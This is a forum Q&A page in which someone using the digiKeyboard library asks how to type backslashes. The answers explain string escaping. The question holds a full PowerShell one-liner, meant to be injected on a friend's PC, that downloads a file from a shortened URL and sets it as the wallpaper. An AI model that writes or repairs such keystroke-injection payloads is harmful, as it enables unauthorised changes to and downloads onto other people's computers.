0

I'm using digiKeyboard library to type to a powershell, but I need to type a backslash (a lot of them), but I can't figure it out.

I have been looking for the solution for about 3 hours and I still can't find it. Please let me know how to make a backslash work.

The powershell command that I want to execute:

cmd /C "start /MIN powershell iwr -Uri https://tinyurl.com/WjnAU6 -OutFile c:\windows\temp\b.jpg;sp 'HKCU:Control Panel\Desktop' WallPaper 'c:\windows\temp\b.jpg';$a=1;do{RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True;sleep 1}while($a++-le59)"

It just changes the wallpaper with a downloaded image, try in on your friend.

Michel Keijzers
13k7 gold badges41 silver badges58 bronze badges
asked Feb 24, 2019 at 18:45
3
  • this is what you are missing? it prints one backslash: print("\\") Commented Feb 24, 2019 at 18:51
  • You don't need a backslash. You can use forward slash for path separation in any version of Windows from Vista onwards (maybe even earlier). Commented Feb 24, 2019 at 18:56
  • @Juraj this somehow worked! Commented Feb 24, 2019 at 18:59

1 Answer 1

0

To include \ in a string so it can be printed you have to escape it. \ is itself the escape character, so doubling it up "escapes the escape character" so it is interpreted as a normal character.

So to print "c:\windows" you would actually have to type "c:\\windows" and the \\ gets changed by the compiler into just \

answered Feb 24, 2019 at 19:24

Your Answer

Draft saved
Draft discarded

Sign up or log in

Sign up using Google
Sign up using Email and Password

Post as a guest

Required, but never shown

Post as a guest

Required, but never shown

By clicking "Post Your Answer", you agree to our terms of service and acknowledge you have read our privacy policy.